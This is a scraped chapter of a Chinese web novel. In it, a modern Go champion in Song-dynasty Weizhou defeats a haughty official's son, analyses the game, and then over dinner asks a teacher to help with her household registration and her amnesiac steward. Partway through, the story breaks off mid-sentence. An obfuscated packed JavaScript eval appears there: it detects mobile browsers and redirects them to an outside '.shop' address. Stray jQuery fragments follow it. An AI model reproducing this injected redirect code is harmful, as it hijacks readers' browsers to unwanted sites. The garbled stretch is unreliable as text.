默认冷灰
24号文字
方正启体

6. 证道

作者:风西月北本书字数:K更新时间:
    中腹战斗如火如荼,黑白双方稍有不慎便是死路一条。


    但黄时羽最擅长的就是在乱战中寻找胜机,她捻起白子,接连两手棋,先挖再断,如同一把淬毒的匕首,抓住黑棋转瞬即逝的缝隙,稳准狠地切入再搅碎。


    卞衙内眼角抽搐,权衡再三决定暂时放弃中央,先解决左边的危机,在左边加固了几手后,获得了庞大的地域。


    左边得利不小,卞衙内瞥了眼对面的黄时羽,想从她脸上看到一丝焦虑。


    然而对面那张清秀的面庞上,依旧是波澜不惊。


    不过黄时羽能善罢甘休?


    下一手,四之七,白棋再次挑起劫争!


    “又来了!”朱学正暗自咋舌。


    这盘棋虽是让三子局,但白棋的劫材似乎永远用不完,且每一个都恰到好处打在黑棋最痛的地方。


    卞衙内咬着后槽牙,苦苦寻找劫材,可白棋全盘厚实之处甚多、薄味却少,要想找出能与之抗衡的劫材,竟是千难万难。


    数手后,白棋三之十二,长。


    又是一枚有力的劫材!


    卞衙内脸色阴沉,这场劫争投入了数子之众,却所获甚微。


    几手之后,黄时羽轻轻一点,黑棋大龙最后的眼位化为乌有,大龙彻底断气。


    黄时羽两度开劫,将黑棋打得左支右绌,双方交战不到两百手,生生扭转了乾坤。


    卞衙内面色发青,扫视全局确认已无翻盘之机,终是没有继续负隅顽抗,将两枚黑子放在棋枰角上。


    黄时羽莞尔一笑:“承让。”


    这两个字落在卞衙内耳中,如同火上浇油。


    他霍然站起,袖风带倒了棋枰旁的茶盏,额上青筋暴起,字字含怒:“何必如此羞辱我!”


    黄时羽不明白他的火气何来,冷静分析道:“衙内棋力不俗,只是局部战斗过于急躁,给了我可乘之机。若着眼全局稳扎稳打,原不至于此。”


    “你!”卞衙内胸膛剧烈起伏,伸手指向黄时羽,“你竟敢如此目中无人!”


    朱学正连忙起身:“衙内息怒,胜败乃兵家常事,黄娘子棋艺确实精妙,老夫也是叹为观止……”


    “朱学正!”卞衙内厉声打断,转头瞪向老者,“你也帮她说话?她那些离经叛道的言论,什么‘金角银边草肚皮’,什么去掉座子,分明是邪门歪道!今日侥幸赢我一局,不过是投机取巧罢了!”


    侥幸?投机取巧?黄时羽在千年后称霸棋坛,从没被这样评价过,这简直是棋手的奇耻大辱。


    她眉梢微动,忍不住呛声:“卞衙内若觉得不服,改日我让先再下一局便是。”


    “让先?”卞衙内冷笑一声,声音陡然拔高,“你当我是什么臭棋篓子,需要你一而再再而三地让我!”


    黄时羽抬眸直视卞衙内,目光柔和:“那就分先不让子,如何?”


    分先不让子,那就是平等对弈。卞衙内棋力虽不俗,但与黄时羽的水准相比,差距何止一先?


    这话看似谦和,实则更加咄咄逼人,卞衙内脸色涨得紫红。


    思及他的身份,黄时羽自忖还是不得罪为妙,主动递了台阶:“还是先复盘吧?”


    朱学正也在旁打圆场:“我是迫不及待了,衙内不妨听听?”


    卞衙内脸上青一阵白一阵,干咳一声:“好吧。”


    黄时羽以先前所说“全局之得失”为中心,从劫材讲到劫争,重点分析了第二次劫争之后的缠斗,认为彼时黑棋最好的下法是安定角部而非屠龙……


    夕阳透过雕花木窗,在棋盘上投下细碎的光斑。


    卞衙内神情从愤怒渐渐变为专注,沉默良久,他缓缓直起身来,朝黄时羽郑重地行了一礼。


    “黄娘子,”他的声音恢复了平静,甚至带着一丝诚恳,“是我眼拙了。”


    黄时羽微微一怔,随即起身还礼:“卞衙内客气。”


    “不,”卞衙内目光灼灼,脸上的矜傲被钦佩所取代,“我自诩棋力不弱,今日方知天外有天。你让我三子,原以为是你托大,没想到是你手下留情。”


    黄时羽见他态度转变如此之大,不由松了一口气,浅笑道:“若是不让子,百手之内结束反倒无趣了。”


    卞衙内嘴角抽搐了一下,没有动怒却是苦笑一声:“你说话真是不给人留情面。”


    “棋盘上留情面,才是真正的羞辱。”黄时羽认真道。


    朱学正此时终于插得上话,抚掌大笑:“绝妙!此言绝妙!”


    “黄娘子不但棋理高远,棋力更是深厚!”朱学正惊叹不已,赞赏与溢美之辞不绝:“不知师从何处?”


    且不说信息壁垒极高的北宋,就是二十世纪初,学棋都极度依赖名师倾囊相授,例如聂卫平与古力、曹薰铉与李昌镐,都是圈内如雷贯耳的名师高徒。


    在高水平棋谱稀缺且几乎不流通的北宋,黄时羽如此水平,必定有宗师级的高手授业。


    但从兴趣班到围棋道场,从古棋棋谱到绝艺训练,若问黄时羽的老师,实在是太多了。


    黄时羽没有直接回答,声音有些低哑:“如今孤身一人,与父母两世相隔,再也无法手谈一局了……”


    话音未落,她眼眶是真的湿了。


    朱学正顿时慌了手脚:“恕罪恕罪,勾起黄娘子伤心事。”


    黄时羽拭了拭眼角,强颜一笑:“学正不必自责,都过去了。”


    朱学正见她神色恢复如常,这才放下心来,估摸着是家学渊源,却也不好再问。


    正要拉着她继续探讨棋理,黄时羽却站起身道:“学正,天色已晚,我该告辞了。”


    “告辞?”朱学正一愣,随即连连摆手,“这怎么行!黄娘子远道而来,又谈了大半日棋,怎能连顿饭都不吃就走?”


    十九路纵横之道,他钻研了一辈子,今天仿佛拨云见日、醍醐灌顶,怎么能让她就这么走了。


    朱学正叫来差役:“去收拾一间干净的廨舍出来,再让馔堂备一桌饭菜,要好生招待黄娘子!”


    黄时羽盛情难却,只得从命。


    朱学正又道:“黄娘子若不嫌弃,今晚就在州学住下。明日咱们继续手谈,我还有好多疑问要向你请教呢。”


    黄时羽心中暗喜,表面却不动声色,欠身道:“那就叨扰学正了。”


    “衙内也留下用饭吧?”


    卞衙内若有所思地摇了摇头:“不了,家母估计已经在等我了。”


    时值仲秋,庭院中树叶簌簌落下。


    黄时羽跟随


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537160|203850||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    朱学正来到一间饭厅,她先喝了口热乎乎的羊汤,捧着晶莹剔透的白米饭简直像见了亲人,桌上还有一壶酒、两份时蔬、一份香煎排骨、一份颇像猪肉脯的肉干。


    黄时羽夹起细棍状的肉干,入口咸香,别有一番风味,就是感觉不太像猪肉。


    朱学正见她面露疑惑,笑道:“这时我们这里特色筭子豝,但区别于汴京常用的猪羊,渭州多用獐子。”


    他边吃边絮叨着方才棋局的种种妙处,言语间对黄时羽的棋艺赞不绝口。黄时羽谦虚了几句,心中却在盘算着如何开口。


    菜过五味,黄时羽自己倒了杯酒,仰头一口饮下。


    酒入愁肠,她眼圈微微泛红:“朱学正,实不相瞒,我如今孤身一人,流落至此。”


    朱学正关切地看向她:“是有什么变故?”


    “汴京的家产被旁支巧取豪夺,我一介弱女子,争不过他们,只能背井离乡。”黄时羽黯然神伤,叹了口气,“如今连个户籍都没有,走到哪里都像无根浮萍。”


    “黄娘子竟有如此遭遇。”朱学正闻言,语气中带着几分慈祥怜惜,“汴京那些大户人家,争产夺业的事,老夫也听说过不少,你孤身无援,确实举步维艰。”


    他顿了顿,沉吟道:“不过,户籍之事倒不难办。本朝律法,凡在州县购置房产,居住满一年,便可落籍。黄娘子若能在渭州置办一处宅院,户籍自然就有了。”


    黄时羽惨笑一声:“我如今身无分文,哪有钱财买房?”


    朱学正思索片刻,一拍桌案:“这有何难!老夫在渭州几十年,多少还有些薄面。黄娘子若信得过我,落户的保人,我替你做了!至于户帖文书,我请州衙的户曹参军通融通融,应当不成问题。”


    黄时羽泪眼婆娑,声音哽咽:“学正与我不沾亲不带故,却如此仗义相助,我实在无以为报。”


    “黄娘子这是哪里话!你以无双棋艺教我,我才叫无以为报呢!区区小事,何足挂齿?”


    他见黄时羽情绪激动,温声道:“黄娘子莫要伤心,天无绝人之路,既然到了渭州,就是缘分。往后有什么难处,尽管来找老夫。”


    黄时羽拭了拭眼角,忽然像是想起了什么,神色变得焦急起来:“学正,还有一事,我不知当讲不当讲。”


    “但说无妨。”


    “我从小有个李管家,看着我长大的,”黄时羽声音微微发颤,“这次随我出远门,可昨日在凌空塔旁,他为了保护我,不慎摔倒撞到了头,醒来后什么都不记得了。”


    朱学正眉头微蹙:“这……”


    “更糟的是,”黄时羽双唇颤抖,“昨日被当作西夏细作抓走的那几个人,其中有一个满口胡言,竟攀咬李叔也是同党!可李叔失忆了,什么都说不清楚,不知会不会被牵连……”


    说到此处,她再也忍不住似的,两行清泪滚落。


    朱学正闻言,面露为难之色:“涉及西夏细作,可不是小事。州衙对这类案子极为慎重,老夫虽在州学任职,却也插不上手。”


    黄时羽又给自己倒了一杯酒,仰头饮尽,泪水混着酒水一起咽下,神色凄楚。


    朱学正见她如此失意心中不忍,思忖片刻,忽然眼睛一亮:“黄娘子莫急,老夫倒想起一个人来!”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)